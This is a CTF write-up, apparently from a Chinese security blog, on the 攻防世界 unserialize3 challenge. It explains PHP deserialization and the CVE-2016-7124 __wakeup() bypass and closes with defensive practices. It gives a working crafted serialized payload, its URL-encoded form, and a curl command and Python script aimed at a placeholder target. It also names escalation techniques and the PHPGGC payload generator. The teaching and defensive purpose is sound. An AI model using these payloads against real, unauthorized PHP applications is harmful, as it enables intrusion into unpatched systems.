ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

PHP反序列化漏洞解析与CVE-2016-7124实战

PHP反序列化漏洞解析与CVE-2016-7124实战

1. 攻防世界unserialize3题目解析

这道Web入门题主要考察PHP反序列化漏洞的利用,特别是__wakeup()魔术方法的绕过技巧。题目环境模拟了一个存在漏洞的PHP应用,我们需要通过构造特殊的序列化字符串来触发漏洞获取flag。

1.1 题目核心考点

这道题的核心考点集中在以下三个方面:

  1. PHP对象序列化与反序列化机制
  2. __wakeup()魔术方法的安全隐患
  3. CVE-2016-7124漏洞的实际利用

在PHP中,当对象被反序列化时会自动调用__wakeup()方法,这经常被开发者用来初始化对象属性或执行一些安全检查。但正是这个机制,如果使用不当反而会成为攻击入口。

1.2 环境搭建与题目分析

本地测试时可以使用以下Docker配置快速搭建环境:

FROM php:7.0-apache COPY src/ /var/www/html/ EXPOSE 80

题目提供的源码通常包含一个类似这样的PHP类:

class xctf{ public $flag = '111'; public function __wakeup(){ exit('bad requests'); } }

关键点在于当unserialize()函数处理用户输入时,如果能够绕过__wakeup()的执行,就能直接访问$flag属性。

2. PHP反序列化漏洞深度解析

2.1 序列化与反序列化基础

PHP序列化字符串的基本结构如下:

O:<类名长度>:"<类名>":<属性数量>:{<属性类型><属性名长度>:"<属性名>";<值类型><值长度>:"<值>";}

例如上面xctf类的序列化结果为:

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

2.2 __wakeup()魔术方法特性

__wakeup()在以下情况会被调用:

  1. 使用unserialize()函数时
  2. 对象从会话中恢复时
  3. 通过其他方式重建序列化对象时

其典型的安全隐患包括:

  • 可能被绕过导致认证失效
  • 可能包含敏感操作但依赖不可信输入
  • 可能成为拒绝服务的入口点

2.3 CVE-2016-7124漏洞详解

这个漏洞的核心在于:当序列化字符串中表示对象属性数量的值大于实际属性数量时,__wakeup()方法将不会被调用。

漏洞影响版本:

  • PHP 5.6.25之前
  • PHP 7.0.10之前

利用方式是将对象属性数量改为比实际大的数字,例如:

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

注意即使实际只有一个属性,这里写2也能成功触发漏洞。

3. 解题步骤详解

3.1 信息收集阶段

首先通过浏览器开发者工具检查页面:

  1. 查看页面源码是否有隐藏提示
  2. 检查Network请求记录
  3. 查看Cookie和LocalStorage

通常这类题目会有一个接收序列化数据的接口,比如:

http://target/vul.php?data=<序列化数据>

3.2 构造Payload

根据前面分析,我们需要构造一个特殊的序列化字符串:

  1. 正常序列化:

    O:4:"xctf":1:{s:4:"flag";s:3:"111";}
  2. 修改属性数量实现绕过:

    O:4:"xctf":2:{s:4:"flag";s:3:"111";}
  3. URL编码后提交:

    O%3A4%3A%22xctf%22%3A2%3A%7Bs%3A4%3A%22flag%22%3Bs%3A3%3A%22111%22%3B%7D

3.3 实际攻击流程

使用Burp Suite或curl进行测试:

curl "http://target/vul.php?data=O%3A4%3A%22xctf%22%3A2%3A%7Bs%3A4%3A%22flag%22%3Bs%3A3%3A%22111%22%3B%7D"

预期响应应该包含真实的flag值而不是"bad requests"错误。

4. 防御方案与安全实践

4.1 安全的反序列化实践

  1. 避免直接反序列化用户输入
  2. 使用JSON等更安全的格式替代
  3. 实施严格的输入验证

4.2 魔术方法的安全使用

  1. 不在__wakeup()中放置关键安全逻辑
  2. 对反序列化的对象进行完整性检查
  3. 使用__sleep()控制序列化字段

4.3 现代PHP版本的最佳实践

PHP 7.4+推荐做法:

class SafeClass { public function __unserialize(array $data): void { // 安全的反序列化逻辑 } public function __serialize(): array { // 控制序列化字段 } }

5. 同类题目扩展训练

5.1 其他常见反序列化漏洞

  1. 利用__destruct()方法
  2. 通过__toString()实现XSS
  3. Phar反序列化漏洞

5.2 推荐练习平台

  1. Hack The Box的某些Web挑战
  2. CTFshow的Web入门系列
  3. BUUCTF的Web题库

5.3 自动化测试工具

  1. PHPGGC:PHP反序列化payload生成器
  2. Burp Suite的PHP序列化插件
  3. 自定义Python测试脚本:
import requests import urllib.parse base_url = "http://target/vul.php" payload = 'O:4:"xctf":2:{s:4:"flag";s:3:"111";}' response = requests.get(f"{base_url}?data={urllib.parse.quote(payload)}") print(response.text)

6. 常见问题排查

6.1 为什么Payload不生效?

可能原因:

  1. PHP版本已修复漏洞
  2. 属性数量修改不足
  3. 类名或属性名不正确

解决方案:

  1. 确认目标PHP版本
  2. 尝试更大的属性数量值
  3. 检查源码获取准确类信息

6.2 如何判断漏洞存在?

检测特征:

  1. 应用处理序列化数据
  2. 响应中包含序列化相关错误
  3. 存在可疑的__wakeup()方法

6.3 高级利用技巧

  1. 属性注入:通过修改序列化字符串注入额外属性
  2. 类型混淆:利用PHP弱类型特性
  3. 链式利用:组合多个魔术方法

重要提示:在实际渗透测试中,必须获得授权后才能进行此类测试。未经授权的测试可能违反法律法规。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进